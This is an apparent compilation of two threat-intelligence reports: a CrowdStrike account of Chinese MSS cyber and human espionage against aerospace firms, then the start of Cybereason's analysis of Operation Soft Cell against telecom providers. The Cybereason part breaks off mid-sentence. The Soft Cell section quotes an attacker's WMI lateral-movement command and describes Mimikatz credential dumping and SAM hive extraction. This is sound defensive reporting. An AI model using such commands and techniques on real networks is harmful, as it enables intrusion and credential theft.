used a mixture of cyber actors sourced from China +underground hacking scene, Ministry of State Security (MSS/ +) officers, company insiders, and state +directives to fill key technology and intelligence gaps in a bid to bolster dual-use turbine engines which +could be used for both energy generation and to enable its narrow-body twinjet airliner, the C919, to +compete against western aerospace firms. What follows is a remarkable tale of traditional espionage, +cyber intrusions, and cover-ups, all of which overlap with activity CrowdStrike Intelligence has previously +attributed to the China-based adversary TURBINE PANDA. These operations are ultimately traceable +back to the MSS Jiangsu Bureau, the likely perpetrators of the infamous 2015 U.S. Office of Personnel +Management (OPM) breach. +Figure 1. Leap Engine +Source: https://www.flightglobal.com/news/articles/cfm-delivers-first-leap-1c-to-comac-414924/ +Copyright 2019 +V1. 12/05VV1 +PART I: THE TARGET +The story starts with a simple fact: Beijing accurately predicted that due to its rising economic status, +China +s middle class demand for air travel would far outpace its ability to supply aircraft and a domestic +commercial aviation industry capable of supporting these logistics. Putting aside the obvious militarycivil ( +) benefits1 that turbine engines have for the energy and aviation sectors, much of China +strategic push into this industry is predicated by necessity. China is predicted2 to succeed the U.S. as the +world +s largest aviation market by 2022, adding nearly 1 billion passengers by 2036. From China +s 12th +and 13th Five Year Plan to the increasingly scrutinized Made in China 2025 Plan,3 numerous state +strategic plans have named aerospace and aviation equipment as one of ten priority industries to focus +leap-frog + developments. +Figure 2. China +s Exponential Growth in Air Travel Mirrored by Rise of China +Middle Class +Source: CSIS China Power Project +A major focus of this strategy centered on building an indigenous Chinese-built commercial aircraft +designed to compete with the duopoly of western aerospace. That aircraft would become the C919 +aircraft roughly half the cost of its competitors, and which completed its first maiden flight4 in 2017 after +years of delays due to design flaws. But the C919 can hardly be seen as a complete domestic triumph as +1 https://www.rand.org/content/dam/rand/pubs/research_reports/RR200/RR245/RAND_RR245.pdf +2 https://www.weforum.org/agenda/2018/08/these-five-charts-show-how-rapidly-china-s-aviation-industry-is-expanding/ +3 https://www.uschamber.com/sites/default/files/final_made_in_china_2025_report_full.pdf +4 https://www.theguardian.com/world/2017/may/05/chinas-first-home-made-plane-makes-maiden-flight +Copyright 2019 +V1. 12/05VV1 +it is reliant on a plethora of foreign-manufactured components (see Figure 3).5 Likely in an effort to +bridge those gaps, a Chinese state-aligned adversary CrowdStrike calls TURBINE PANDA conducted cyber +intrusions from a period of roughly 2010 to 2015 against several of the companies that make the C919 +various components. +Figure 3. Components of C919 +Source: https://www.aerotime.aero/aerotime.team/447-made-in-china-why-c919-can-hardly-be-calledchinese +Specifically, in December 2009, the state-owned enterprise (SOE) Commercial Aircraft Corporation of +China (COMAC/ +) announced it had chosen CFM International +s (a joint venture +between U.S.-based GE Aviation and French aerospace firm Safran, formerly Snecma) LEAP-X engine to +provide a custom variant engine, the LEAP-1C, for the then-newly announced C919. The deal was +reportedly signed in Beijing during a visit by then-French Prime Minister Fran +ois Fillon.6 Despite the +early deal with CFM, both COMAC and fellow SOE the Aviation Industry Corporation of China (AVIC/ +) were believed7 to be tasked by China +s State-owned Assets Supervision and +Administration Commission of the State Council (SASAC) with building an +indigenously created +turbofan engine that was comparable to the LEAP-X.8 +In August 2016, both COMAC and AVIC became the main shareholders of the Aero Engine Corporation +of China (AECC/ +), which produced the CJ-1000AX engine. The CJ-1000AX bears +5 https://www.aerotime.aero/aerotime.team/447-made-in-china-why-c919-can-hardly-be-called-chinese +6 https://www.flightglobal.com/news/articles/cfm-international-to-provide-engines-for-comacs-c919-336414/ +7 http://www.xinhuanet.com/english/2017-05/04/c_136257538.htm +8 http://www.miit.gov.cn/n1146290/n1146397/c4244228/content.html +Copyright 2019 +V1. 12/05VV1 +multiple similarities to the LEAP-1C,9 including its dimensions10 and turbofan blades. The AECC +conducted its first test as recently as May 2018, having overcome significant difficulties in their first +mockups. Though it is difficult to assess that the CJ-1000AX is a direct copy of the LEAP-X without direct +access to technical engineering specifications, it is highly likely that its makers benefited significantly +from the cyber espionage efforts of the MSS, detailed further in subsequent blog installments, knocking +several years (and potentially billions of dollars) off of its development time. +The actual process by which the CCP and its SOEs provide China +s intelligence services with key +technology gaps for collection is relatively opaque, but what is known from CrowdStrike Intelligence +reporting and corroborating U.S. government reporting11 is that Beijing uses a multi-faceted system of +forced technology transfer, joint ventures, physical theft of intellectual property from insiders, and +cyber-enabled espionage to acquire the information it needs. Specifically, SOEs are believed to help +identify major intelligence gaps in key projects of significance that China +s intelligence services then are +likely tasked with collecting. It is assessed with high confidence that the MSS was ultimately tasked with +targeting firms that had technologies pertaining to the LEAP-X engine and other components of the +C919, based on timing and the details revealed in the DoJ indictments. For example, the first +preparatory activity in January 2010 believed to be associated with TURBINE PANDA targeted Los +Angeles-based Capstone Turbine and began just a month after choosing CFM as its engine provider. +This brings us to our culprits: the Jiangsu Bureau of the MSS (JSSD/ +) located in Nanjing. +In Part II, we will discuss the JSSD +s location, and its joint operations between the JSSD +s cyber operators +and its human intelligence officers. +PART II: THE CULPRITS +From August 2017 until October 2018, the DoJ released several separate, but related indictments +against Sakula developer YU Pingan12, JSSD Intelligence Officer XU Yanjun13, GE Employee and insider +ZHENG Xiaoqing14, U.S. Army Reservist and assessor JI Chaoqun15, and 10 JSSD-affiliated cyber operators +in the ZHANG et. al. indictment16. What makes these DoJ cases so fascinating is that, when looked at as a +whole, they illustrate the broad, but coordinated efforts the JSSD took to collect information from its +aerospace targets. In particular, the operations connected to activity CrowdStrike Intelligence tracked as +TURBINE PANDA showed both traditional human-intelligence (HUMINT) operators and its cyber +operators working in parallel to pilfer the secrets of several international aerospace firms. +9 https://www.flightglobal.com/news/articles/china-completes-assembly-of-first-high-bypass-turbof-444526/ +10 https://www.flightglobal.com/news/articles/c919s-local-engine-alternative-powered-up-448721/ +11 https://www.whitehouse.gov/wp-content/uploads/2018/06/FINAL-China-Technology-Report-6.18.18-PDF.pdf +12 https://regmedia.co.uk/2017/08/24/yu.pdf +13 https://www.justice.gov/opa/press-release/file/1099881/download +14 https://www.justice.gov/opa/pr/new-york-man-charged-theft-trade-secrets +15 https://www.justice.gov/opa/press-release/file/1096411/download +16 https://www.justice.gov/opa/press-release/file/1106491/download +Copyright 2019 +V1. 12/05VV1 +Figure 4. JSSD +s Cyber Operations +Copyright 2019 +V1. 12/05VV1 +As discussed in the previous section, it is believed that cyber targeting of aerospace firms by TURBINE +PANDA cyber operators began in January 2010, almost immediately after the LEAP-X engine was chosen +for the C919. The ZHANG indictment describes initial preparatory action that included compromising Los +Angeles-based Capstone Turbine servers and later using a doppelganger site as a strategic web +compromise (SWC) in combination with DNS hijacking (including a specific technique the indictment +points out may have been borrowed from the Syrian Electronic Army/DEADEYE JACKAL17) to +compromise other aerospace firms. From a period of 2010 to 2015, the linked JSSD operators are +believed to have targeted a variety of aerospace-related targets +including Honeywell, Safran, and +several other firms18, 19 +using two China-based APT favorites, PlugX and Winnti, and malware assessed +to be unique to the group dubbed Sakula. +The same ZHANG indictment indicates that these operations were overseen by CHAI Meng ( +), who +likely managed the JSSD +s cyber operators as a pseudo Cyber Section Chief. Reporting to CHAI was the +cyber operator team lead, LIU Chunliang ( +/sxpdlc1r/Fangshou), who appeared to establish and +maintain much of the infrastructure used in the attacks on various aerospace targets as well as organize +the intrusions conducted by the operators ZHANG Zhanggui ( +/Ieanovr/Ieaonr), GAO Hongkun ( +/Mer4en7y), ZHUANG Xiaowei ( +/jpxxav), MA Zhiqi ( +/Le Ma), and LI Xiao ( +/zhuan86). +Many of these individuals are assessed to have storied histories in legacy underground hacking circles +within China dating back to at least 2004. +Notably, LIU also appeared to broker the use of Sakula from its developer YU, as well as the malware +IsSpace (associated with SAMURAI PANDA) from its likely developer ZHUANG.20 LIU and YU +conversations about Sakula would be a critical factor in tying all of this disparate activity together as +Sakula was believed to be unique to the JSSD operators and could be used to tie several aerospace +intrusion operations into a single, long-running campaign. +JSSD +s HUMINT Efforts +Simultaneously, there was a HUMINT element to the JSSD +s espionage operations against aerospace +targets. XU Yanjun, was identified in his indictment21 as the Deputy Division Director of the Sixth Bureau +of the JSSD in charge of Insider Threats. XU affiliated himself with two cover organizations +Jiangsu +Science and Technology Association (JAST) and the Nanjing Science & Technology Association (NAST) +when interacting with potential targets. XU also was reported as frequently associating with the Nanjing +University of Aeronautics and Astronomics (NUAA), a significant national defense university controlled +by China +s Ministry of Industry and Information Technology (MIIT), that interfaces directly with many of +China +s top defense firms and state-owned enterprises. It is likely no coincidence that NUAA is a regular +collaborator with state-owned enterprises (SOEs) COMAC and AVIC, the main shareholders of AECC, +which went on to produce the LEAP-X inspired CJ1000-AX turbine engine for the C919. +17 https://www.forbes.com/sites/andygreenberg/2013/08/28/syrian-hack-of-nytimes-com-and-twitter-could-have-inflicted- +much-more-than-mere-embarrassment/#3b3746944944 +18 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vinecyberespionage-group.pdf +19 https://cyberthreatintelligenceblog.wordpress.com/2018/11/16/c0ld-case-from-aerospace-to-chinas-interests/ +20 https://regmedia.co.uk/2017/08/24/yu.pdf +21 https://www.justice.gov/opa/press-release/file/1099881/download +Copyright 2019 +V1. 12/05VV1 +Figure 5. MSS Intelligence Officer and Deputy Division Director XU Yanjun +Over the course of several years, XU would recruit both an insider at LEAP-X manufacturer General +Electric (GE), ZHENG Xiaoqing, and a Chinese-born Army reservist, JI Chaoqun ( +). ZHENG +background appears to have made him uniquely qualified to accurately assess turbine engine +schematics, and it was clear from his indictment that he had received coaching on which sensitive +information on GE +s turbine technology to access and how to use steganography in an attempt to +exfiltrate the information. JI, who entered the U.S. on an F-1 student visa to study electrical engineering +in Chicago, was approached by XU (initially undercover as an NUAA professor) in December 2013 and +eventually recruited to provide assessments on other high-value individuals in the aerospace industry +for potential recruitment by the MSS. JI +s position in the U.S. Army Reserve program known as Military +Accessions Vital to the National Interest (MAVNI) provided a perfect cover for JI +s assessment activities, +as the program focuses on potential recruitment of foreign citizens with skills pertinent to national +interest and legally residing in the U.S. Had it been successful, JI would have been handing XU other +foreign-born recruitment candidates as they were about to enter U.S. military service on potentially +sensitive projects. +HUMINT-Enabled Cyber Operations and the Role of CrowdStrike +Own Blog +In February 2014, one of our own blogs described the relationship between cyber activity in 2012 +against Capstone Turbine and an SWC targeting Safran/Snecma carried out by TURBINE PANDA, +potentially exposing the HUMINT-enabled cyber operations described in some of the indictments. As +described in the ZHANG indictment, on 26 February 2014, one day after the release of our +French +Connection + blog publicly exposed some of TURBINE PANDA +s operations, intel officer XU texted his +JSSD counterpart, cyber director CHAI, asking if the domain ns24.dnsdojo.com was related to their cyber +operations. That domain was one of the few controlled by cyber operator lead LIU, and several hours +after CHAI responded to XU +s text that he would verify, the domain name was deleted. +According to the ZHANG indictment, The deletion was believed to be carried out by GU Gen ( +Safran +s Suzhou Branch IT manager, when Safran began investigating beaconing from that domain +following the blog post and notification from the Federal Bureau of Investigation (FBI). GU had been +Copyright 2019 +V1. 12/05VV1 +previously recruited around January 2014 by XU, and was able to act as a fixer for LIU and his team +operations. The indictment also showed that XU had also previously recruited another Safran Suzhou +insider named TIAN Xi ( +) in November 2013, giving him a USB drive with Sakula on it. On 25 January +2014, TIAN communicated to XU that he had installed Sakula on Safran +s networks, and XU in turn +texted confirmation to CHAI, who +s team subsequently began their operations on Safran +s networks +over the next month. +Where is the JSSD? +Though not much is publicly known about the internal organizational structure of China +s secretive +national intelligence service, the MSS is known to operate a number of large municipal bureaus, +normally located in the provincial capitals. Through a mixture of open-source research and confirmation +from sensitive source reporting, CrowdStrike Intelligence confirmed two locations that the JSSD likely +operates out of: +1. Approximately 32 +3'34.25"N, 118 +45'41.83"E in the Gulou District of Nanjing - +. Co-located in the headquarters of the Jiangsu Ministry of Public Security (MPS/ +Figure 6. Street View of a JSSD Location +Left, the characters for the JSSD ( +). Right, the characters for the Jiangsu MPS. The same +street view on Baidu Maps22 currently has both the JSSD characters and the red emblem (poorly) blurred +out. +https://maps.baidu[.]cn/#panoid=09002500121709081338424411I&panotype=street&heading=182.45&pitch=13.76&l=21&tn= +B_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09002500121709081338424411I +Copyright 2019 +V1. 12/05VV1 +Tellingly, the listed address of the JSSD +s kindergarten is 50 Ninghai road, Gulou District ( + 50 +), a building very near to the Jiangsu MPS headquarters.23 Furthermore, MSS facilities are +believed to often be co-located in MPS buildings both to provide plausible cover and due to their +overlapping work on domestic security. +2. Approximately 31 +58'45.65"N, 118 +46'32.93"E in the Yuhua District of Nanjing - + 33 +Figure 7. Architectural Mockup of JSSD Compound +A particular Nanjing architectural firm appears fairly proud of the job it did on this JSSD compound (see +above), and prominently features pictures of architectural mockups of the building +s outside, atrium, +and even its gym as splash pages on its main site.24 Again, the JSSD hanzi ( +) are directly +on the site along with indications that it was built in 2009. A comparison with the street view25 (see +Figure 8) and corroboration with sensitive source reporting gives us fairly high confidence that this +building and location is affiliated with the JSSD. A satellite view shows an array of satellite dishes out +front as well. +https://jiangsu.youbianku.com/%E5%90%8D%E5%BD%95/%E6%B1%9F%E8%8B%8F%E7%9C%81%E5%9B%BD%E5%AE%B6%E5 +%AE%89%E5%85%A8%E5%8E%85%E5%B9%BC%E5%84%BF%E5%9B%AD +24 https://web.archive.org/save/http:/dadda.cn/show-19-79-1.html +https://maps.baidu[.]cn/#panoid=09002500121709131120474746L&panotype=street&heading=353.22&pitch=3.8&l=21&tn=B +_NORMAL_MAP&sc=0&newmap=1&shareurl=1&pid=09002500121709131120474746 +Copyright 2019 +V1. 12/05VV1 +Figure 8. Front Entrance of a JSSP Building in Yuhua Resembling Architectural +Mockup +In the next section, we +ll discuss the aftermath of these operations, their connection to other Chinese +cyber campaigns, and how they fit into China +s larger strategy of +leapfrog + development. +PART III: THE AFTERMATH +The arrests of MSS officer XU Yanjun, his insiders (ZHENG Xiaoqing and JI Chaoqun), and Sakula +developer YU Pingan will ultimately not deter Beijing from mounting other significant cyber campaigns +designed to achieve leapfrog development in areas they perceive to be of strategic importance. Though +s arrest in particular was likely a massive boon to U.S. intelligence given he was the first MSS officer +(not simply an asset) known to be arrested, China has not ceased cyber operations even after incidents +tying GOTHIC PANDA26 and STONE PANDA27 to the MSS were exposed publicly. +The reality is that many of the other cyber operators that made up TURBINE PANDA operations will +likely never see a jail cell. YU was arrested in 2017 following his attendance at a U.S.-based security +conference, and CrowdStrike Intelligence sensitive source reporting indicated that following his arrest, +the MSS issued strict orders for China +s security researchers to be barred from participating in overseas +conferences or Capture the Flag competitions, likely fearing a repeat occurrence and more arrests of its +offensive talents. +In years prior to that directive, Chinese teams +such as those from Qihoo 360, Tencent, and Baidu +dominated overseas competitions and bug bounties including Pwn2Own and CanSecWest, earning +thousands of dollars in cash rewards for their zero-day exploits for popular systems such as Android, iOS, +Tesla, Microsoft, and Adobe. Instead, the companies these researchers work for were required to +provide vulnerability information to the China Information Technical Security Evaluation Center +26 https://intrusiontruth.wordpress.com/2017/05/09/apt3-is-boyusec-a-chinese-intelligence-contractor/ +27 https://www.crowdstrike.com/blog/two-birds-one-stone-panda/ +Copyright 2019 +V1. 12/05VV1 +(CNITSEC/ +). CNITSEC was previously identified by CrowdStrike Intelligence and other +industry reporting28 as being affiliated with the MSS Technical Bureau and it runs the Chinese National +Information Security Vulnerability Database (CNNVD/ +), which was outed for its +role in providing the MSS with cutting-edge vulnerabilities likely for use in offensive operations.29 +However, even before this directive, it is likely that many of the vulnerabilities used in offensive MSS +operations came from these researchers. Many of the senior security researchers and executives at +Chinese security firms got their start in legacy domestic hacking groups such as Xfocus and went on to +turn their talents into successful careers +some whitehat, some blackhat, and the large majority +probably falling somewhere in the grey area. The majority of these firms are listed partners of the +CNNVD (see the image below). NSFOCUS, for example, was formed out of the remnants of the +commercialized faction of China +s patriotic hacking group the Green Army; its hanzi characters are +actually still the same as the original group +s name. Venustech and Topsec were both listed as known +Chinese state-affiliated contractors in leaked U.S. government cable. Topsec was also linked to +campaigns against the aerospace sector and Anthem breaches in public reporting.30 +Figure 9. Prominent Chinese Tech Firms Partnering with the MSS-Affiliated +CNNVD +What is notable about the use of certain vulnerabilities and strains of malware sourced from the Chinese +underground is that they often uniquely indicate which actors are responsible for which campaigns. In +this case, Sakula is described in the YU indictment as being relatively unique and was provided to JSSD +28 https://www.recordedfuture.com/chinese-mss-behind-apt3/ +29 https://www.recordedfuture.com/chinese-mss-vulnerability-influence/ +30 https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine- +cyberespionage-group.pdf +Copyright 2019 +V1. 12/05VV1 +lead operator LIU Chunliang by YU along with multiple other vulnerabilities that were used against +aerospace firms by LIU and other cyber operators that comprised TURBINE PANDA operations. The +usage of Sakula across multiple victims and the arrest of its developer, YU, by the FBI would prove +critical for several reasons. +Industry reporting31 outlined the overlapping similarities between activity at one of TURBINE PANDA +victims that exhibited certain tactics, techniques, and procedures (TTPs) and the usage of Sakula in the +Anthem breach publicly disclosed in 2015. As indicated by an FBI Flash Report32 detailing the tools used +in the U.S. Office of Personnel Management (OPM) intrusion, Sakula was named along with FFRAT and +the IsSpace malware (tracked by CrowdStrike Intelligence as being used by SAMURAI PANDA and also +connected to JSSD operators in the ZHANG indictment via cyber operator ZHUANG Xiaowei) in the OPM +case, likely indicating the JSSD was also behind these operations. +Public reporting has long theorized that the same operators were behind the Anthem and OPM +incidents, and that both operations were likely perpetrated by actors affiliated with the MSS. Further +reporting tied a breach at United Airlines to the same group that perpetrated Anthem and OPM, +reaffirming that those actors had interests in aviation as well.33 It is likely that the DoJ indictments +provided yet another piece to this complicated puzzle that saw the pilfering of the data of millions of +cleared U.S. government workers funneled to China, a veritable intelligence gold-mine for recruiting +potential future spies. +The Bigger Picture +Even with the arrest of a senior MSS intelligence officer and a valuable malware developer, the potential +benefits of cyber-enabled espionage to China +s key strategic goals has seemingly outweighed the +consequences to date. Beijing still has a long way to go before it has a completely independent domestic +commercial aviation industry, as evidenced by the $45 billion USD deal to purchase 300 Airbus planes +during President XI Jinping +s recent visit to France.34 XI inked a similar purchase agreement for 300 +Boeing planes during a November 2017 visit to the U.S. Yet China still seeks to decrease its dependency +on this duopoly and eventually compete on an even footing with them. Notably, China was the first +country to ground Boeing +s 737 MAX and tout its own air safety records, following a second deadly 737 +MAX crash this year.35 +In May 2017, weeks after the C919 +s successful maiden flight in China, AECC and Russia +s United Aircraft +Corp (UAC) announced a 50-50 joint venture (JV) called China-Russia Commercial Aircraft International +Corp (CRAIC) to fund and design a new aircraft dubbed CR929 (see Figure 10), a wide-body jet designed +to compete with the Airbus 350 and Boeing 787.36 Though both countries will design much of the +31 Ibid. +32 https://info.publicintelligence.net/FBI-HackToolsOPM.pdf +33 https://www.bloomberg.com/news/articles/2015-07-29/china-tied-hackers-that-hit-u-s-said-to-breach-united-airlines +34 https://www.scmp.com/news/china/diplomacy/article/3003384/china-france-sign-us45-billion-deals-including-airbus- +order?utm_medium=email&utm_source=mailchimp&utm_campaign=enlzscmp_china&utm_content=20190327&MCUID=f85aea33ab&MCCampaignID=ea970c4480&MCAccountID=3775521f5f5420472 +46d9c827&tc=5 +35 https://www.nytimes.com/2019/03/13/business/china-boeing.html +36 https://www.reuters.com/article/us-china-comac-russia-idUSKBN18I0KZ +Copyright 2019 +V1. 12/05VV1 +aircraft, the CR929 +s engines, onboard electrical systems, and other components will still likely need to +be supplied by foreign suppliers.37 +Figure 10. CR929 Airliner +Source: Reuters +Similar to the procedure for developing the C919, the JV is currently taking bids for an aircraft engine +that will be used until a Chinese-Russian substitute can take its place; this appears likely to be the CJ2000, an upgraded version of the CJ-1000AX used in the C919. Finalists in the bidding process may face +additional targeting from China-based adversaries that have demonstrated the capability and intent to +engage in such intellectual property theft for economic gain. It is unclear whether Russia, a state that +also has experienced cyber operators at its disposal, would also engage in cyber-enabled theft of +intellectual property related to the CR929. +The C919 still faces significant barriers to entry +namely, international certification and the current +Sino-U.S. trade war. COMAC aims to have the C919 pass grueling certification standards by the end of +2020. +Notably, public reporting in February 2019 detailed a potential cover-up involving a November 2016 +cyber intrusion at the Canada-based International Civil Aviation Organization (ICAO), the United Nations +(UN) body that sets global civil aviation standards.38 The documents indicate that the intrusion at ICAO +was likely designed to facilitate a strategic web compromise (SWC) attack (similar to what TURBINE +37 https://chinapower.csis.org/china-commercial-aviation/ +38 https://www.cbc.ca/news/canada/montreal/montreal-based-un-aviation-agency-tried-to-cover-up-2016-cyberattack- +documents-show-1.5033733 +Copyright 2019 +V1. 12/05VV1 +PANDA did with Capstone Turbine and described in Part II of this series) that would easily provide a +springboard to target a plethora of other aerospace-related as well as foreign government victims. Upon +being alerted to the breach by the Aviation Information Sharing and Analysis Center (AISAC), the ICAO +internal IT investigation staff was reportedly grossly negligent, and the cyber intruders may have had +direct access to one of their superuser accounts. In addition, a file containing a list of all the potential +organizations who were compromised by the incident mysteriously disappeared during further +investigations. +Figure 11. ICAO +s Secretary General Gang LIU and IT Deputy Director James +WAN Suspected of Having Mishandled Investigation of Breach +Source: Canadian Broadcasting Corporation (CBC) +Outside, third-party investigations point to China-based EMISSARY PANDA as the culprit. CrowdStrike +Intelligence is unable to independently confirm this; however, EMISSARY PANDA has been previously +observed targeting the aviation industry as well. Both the ICAO IT supervisor in charge of the mishandled +internal investigation, James WAN, and Fang LIU, the ICAO +s secretary general who shelved +recommendations to investigate WAN and his four team members, were both found by CrowdStrike to +have ties to China +s aviation industry. LIU previously was a major figure at the Civil Aviation +Administration of China (CAAC), one of several prominent Chinese state-owned enterprises (SOEs) +tasked with advancing China +s aviation industry.39 WAN was previously connected to the Civil Aviation +University of China (CUAC), another prominent institution in China +s aviation industry research that is +administered by CAAC. Though CrowdStrike Intelligence cannot make any high confidence +determinations about the breach, the timing in 2016, the techniques (such as attempting an upstream +SWC to target other industry victims), and the nature of the intrusion into ICAO is an eerily similar +situation to GU Gen, the MSS-recruited IT manager at Safran +s Suzhou branch who sought to cover up +39 https://www.icao.int/DownloadDocs/liu_biography_en.pdf +Copyright 2019 +V1. 12/05VV1 +TURBINE PANDA operations (see the previous blog post). LIU, WAN, and the four employees are all still +employed at ICAO. +A major facet of the current Sino-U.S. trade war is forced technology transfer, which Beijing has used to +great effect by siphoning intellectual property from foreign firms in exchange for providing joint +ventures (JVs) and granting access to China +s lucrative market, only to be forced out later by domestic +rivals as they grow competitive with state subsidies and support. Under current laws, the C919 +s foreign +suppliers (many of whom were targets of TURBINE PANDA operations) are required to physically +assemble components in China through a JV with COMAC.40 +It remains to be seen whether the high-level Sino-U.S. trade negotiations will result in limiting Beijing +ability to speed its aviation development through JVs, forced technology transfer, HUMINT operations, +or cyber-enabled theft of IP. But the unprecedented visibility into how the MSS and its cyber operators +enhance China +s leapfrog development coming at this time is more than just a coincidence. +40 https://apex.aero/2019/01/23/comac-aims-high +Copyright 2019 +Operation Soft Cell: A Worldwide Campaign Against +Telecommunications Providers +cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers +https://youtu.be/Ihpn2-4jTvc +Research by: Mor Levi, Assaf Dahan, and Amit Serper +EXECUTIVE SUMMARY +In 2018, the Cybereason Nocturnus team identified an advanced, persistent attack targeting +global telecommunications providers carried out by a threat actor using tools and +techniques commonly associated with Chinese-affiliated threat actors, such as APT10. This +multi-wave attacks focused on obtaining data of specific, high-value targets and resulted in a +complete takeover of the network. +1/27 +Key Points +Earlier this year, Cybereason identified an advanced, persistent attack targeting +telecommunications providers that has been underway for years, soon after deploying +into the environment. +Cybereason spotted the attack and later supported the telecommunications provider +through four more waves of the advanced persistent attack over the course of 6 +months. +Based on the data available to us, Operation Soft Cell has been active since at least +2012, though some evidence suggests even earlier activity by the threat actor against +telecommunications providers. +The attack was aiming to obtain CDR records of a large telecommunications provider. +The threat actor was attempting to steal all data stored in the active directory, +compromising every single username and password in the organization, along with +other personally identifiable information, billing data, call detail records, credentials, +email servers, geo-location of users, and more. +The tools and TTPs used are commonly associated with Chinese threat actors +During the persistent attack, the attackers worked in waves- abandoning one thread +2/27 +of attack when it was detected and stopped, only to return months later with new +tools and techniques. +Security Recommendations +Add an additional security layer for web servers. For example, use WAF (Web +Application FW) to prevent trivial attacks on Internet-facing web servers. +Expose as few systems or ports to the Internet as possible. Make sure that all web +servers and web services that are exposed are patched. +Use an EDR tool to give visibility and immediate response capabilities when high +severity incidents are detected. +Proactively hunt in your environment for sensitive assets periodically. +Table of Contents +INTRODUCTION +Watch our CEO Lior Div's keynote on the operation. +In 2018, 30% of the telecommunications providers reported sensitive customer information +was stolen due to an attack. These telecommunications providers have been expanding in +size, to the point where In the past thirteen years, mobile cellular phone subscribers have +quadrupled in size and sit at 8 billion subscribers today . Due to their wide availability and +the fundamental service they bring, telecommunications providers have become critical +infrastructure for the majority of world powers. +Much like telecommunication providers, many other critical infrastructure organizations +provide a valuable targets for nation state threat actors, due to their high impact. In studies, +nearly a quarter of critical infrastructure organizations reported they had been hit by nation +state attacks and 60% said disruptive cyber attacks are among the threats they are most +worried about. +Threat actors, especially those at the level of nation state, are seeking opportunities to +attack these organizations, conducting elaborate, advanced operations to gain leverage, +seize strategic assets, and collect information . When successful, these attacks often have +huge implications. +Last year, we identified a threat actor that has been operating in telecommunications +provider environments for at least two years. We performed a post-incident review of the +attacks and were able to identify changes in the attack patterns along with new activity +every quarter. +3/27 +The threat actor mainly sought to obtain CDR data (call logs, cell tower locations, etc.) +belonging to specific individuals from various countries. This type of targeted cyber +espionage is usually the work of nation state threat actors. +ve concluded with a high level of certainty that the threat actor is affiliated with China +and is likely state sponsored. The tools and techniques used throughout these attacks are +consistent with several Chinese threat actors, such as APT10, a threat actor believed to +operate on behalf of the Chinese Ministry of State Security (MSS). +The threat actor changed activity every quarter. +The attack began with a web shell running on a vulnerable, publicly-facing server, from +which the attackers gathered information about the network and propagated across the +network. The threat actor attempted to compromise critical assets, such as database +servers, billing servers, and the active directory. As malicious activity was detected and +remediated against, the threat actor stopped the attack. +The second wave of the attack hit several months later with similar infiltration attempts, +along with a modified version of the web shell and reconnaissance activities. A game of cat +and mouse between the threat actor and the defenders began, as they ceased and +resumed their attack 2 more times in the span of a 4 month period. +Anatomy of the Attack +4/27 +Initial Compromise: the Modified China Chopper Web Shell +The initial indicator of the attack was a malicious web shell that was detected on an IIS +server, coming out of the w3wp.exe process. An investigation of the web shell, later classified +as a modified version of the China Chopper web shell, uncovered several attack phases and +TTPs. The threat actor was able to leverage the web shell to run reconnaissance commands, +steal credentials, and deploy other tools. +Malicious web shell activity as observed in the Cybereason solution. +Commands executed via a modified version of the China Chopper web shell. +China Chopper is a web shell first discovered in 2012 that is commonly used by malicious +Chinese actors. It is used to remotely control web servers, and has been used in many +attacks against Australian web hosting providers. The web shell parameters in this attack +match to the China Chopper parameters, as described in FireEye +s analysis of China +Chopper. This tool has been used by several Chinese-affiliated threat actors, such as APT 27 +and APT 40. It is important to note that this tool is widely available and can be used by other +threat actors. +5/27 +Reconnaissance and Credential Stealing +The threat actor launched a series of reconnaissance commands to try to obtain and +enumerate information about the compromised machine, network architecture, users, and +active directory enumeration. +Example 1: Reconnaissance Commands +Example 2: Reconnaissance Commands +Modified +nbtscan +One of the reconnaissance commands was to run a modified nbtscan tool ("NetBIOS +nameserver scanner") to identify available NetBIOS name servers locally or over the +network. Nbtscan has been used by APT10 in Operation Cloud Hopper to search for +services of interest across the IT estate and footprint endpoints of interest. It is also capable +of identifying system information. +6/27 +NetBIOS Scanner execution as seen in the Cybereason solution. +NetBIOS scanner is set to scan an internal IP range. +Modified Mimikatz +Following the reconnaissance phase, the threat actor attempted to dump credentials stored +on the compromised machines. The most common credential stealing tool used by the +threat actor was a modified mimikatz that dumps NTLM hashes. This version of mimikatz +did not require any command line arguments, most likely in an attempt to avoid detection +based on command-line auditing. The dumped hashes were used to authenticate to other +machines via pass the hash. We renamed this sample to maybemimi.exe. +7/27 +Modified Mimikatz that dumps NTLM hashes. +Reverse engineering shows the similarity between maybemimi.exe and mimikatz. +Mimikatz code from GitHub. +maybemimi strings. +Dumping the SAM Hive from the Registry +8/27 +In order to obtain credentials, the threat actor used another technique that can be seen in +the below screenshots. They dumped specific hives from the Windows Registry, such as the +SAM hive, which contains password hashes. +Reg.exe is being spawned from a shell +process. +Command-line arguments indicate SAM hive dumping. +Lateral Movement +Once the threat actor mapped the network and obtained credentials (through net use), they +began to move laterally. They were able to compromise critical assets including production +servers and database servers, and they even managed to gain full control of the Domain +Controller. The threat actor relied on WMI and PsExec to move laterally and install their +tools across multiple assets. +The following example demonstrates how the threat actor moved laterally from the first +machine, compromised by the modified version of the China Chopper web shell, to other +machines inside the network. +9/27 +/c cd /d "C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\"&wmic +/node:[REDACTED] /user:"[REDACTED]" /password:"[REDACTED]" process call create a.bat&echo +[S]&cd&echo [E] +WMI command used by the threat actor to move laterally. +Maintaining a Long-term Foothold and Stealing Data +The threat actor abused the stolen credentials to create rogue, high-privileged domain user +accounts which they then used to take malicious action. By creating these accounts, they +ensured they would maintain access between different waves of the attack. Once the threat +actor regains their foothold, they already have access to a high-privileged domain user +account. This significantly reduces the +noise + of having to use credential dumpers +repeatedly, which helped them evade detection. +PoisonIvy +A second method the threat actor used to maintain access across the compromised assets +was through the deployment of the PoisonIvy RAT (PIVY). This infamous RAT has been +associated with many different Chinese threat actors, including APT10, APT1, and +DragonOK. It is a powerful, multi-featured RAT that lets a threat actor take total control over +a machine. Among its most notable features are: +Registry Editor +Screenshot Grabber +Credential Stealer +Interactive Shell +File Manager with Upload and Download Support +Process Monitor +Keylogging and Various other Surveillance Features +10/27 +The control panel for PoisonIvy. +Courtesy of Sam Bowne - samsclass.info +We assume the threat actor used PoisonIvy for keylogging and other surveillance features, +as they had that functionality available to them as shown in the screenshot above. +The strain of PIVY in this attack used a 